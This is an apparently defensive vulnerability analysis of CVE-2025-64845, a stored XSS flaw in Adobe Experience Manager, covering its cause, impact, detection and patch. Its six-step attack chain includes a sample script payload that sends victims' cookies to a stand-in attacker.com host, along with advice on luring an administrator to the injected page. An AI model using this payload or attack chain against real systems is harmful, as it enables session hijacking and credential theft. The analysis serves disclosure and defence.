CVE-2025-64845: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64845 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory APSB25-115 on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, EUVD).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Cross-Site Scripting). An authenticated attacker with low privileges can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executed in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and network access, but no elevated privileges beyond a standard authenticated user account. The scope is changed, meaning the injected script can affect resources beyond the originating application context (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. While confidentiality and integrity impacts are rated low individually, the changed scope means the attack can affect users and resources beyond the attacker's own session. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept and store user input without adequate sanitization.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload, causing their browser to execute the malicious script.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling session hijacking or further lateral movement (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing stored content with embedded <script> tags or obfuscated JavaScript in text properties; unexpected modifications to page content by low-privileged accounts.
• Process/Browser: Browser developer console errors or unexpected redirects when loading AEM pages; security tool alerts for DOM-based script injection on AEM URLs.

Adobe has released patches addressing CVE-2025-64845 in AEM 6.5 Service Pack 24 (version 6.5.24.0) for on-premises deployments and in AEM as a Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict authoring access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules for AEM endpoints. Review and audit stored content in the JCR for any existing injected scripts (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of AEM vulnerabilities across critical and important severity levels. No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64845 has been identified beyond standard vulnerability database aggregation and Tenable detection plugin publication (Adobe Advisory, Tenable).